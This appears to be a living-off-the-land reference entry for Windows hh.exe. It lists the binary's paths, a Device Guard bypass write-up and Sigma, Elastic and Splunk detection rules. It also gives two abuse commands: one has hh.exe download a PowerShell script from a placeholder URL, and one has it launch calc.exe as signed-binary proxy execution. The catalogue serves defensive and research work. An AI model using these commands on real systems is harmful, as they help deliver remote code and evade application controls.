.. /Hh.exe

Star

Paths:

• C:\Windows\hh.exe
• C:\Windows\SysWOW64\hh.exe

Resources:

• https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Acknowledgements:

• Oddvar Moe (@oddvarmoe)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml
• Elastic: https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml
• Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml
• Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml
• Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml

Download

1. Open the target PowerShell script with HTML Help.

   HH.exe http://some.url/script.ps1

   Use case

   Download files from url

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105

Execute

1. Executes calc.exe with HTML Help.

   HH.exe c:\windows\system32\calc.exe

   Use case

   Execute process with HH.exe

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218.001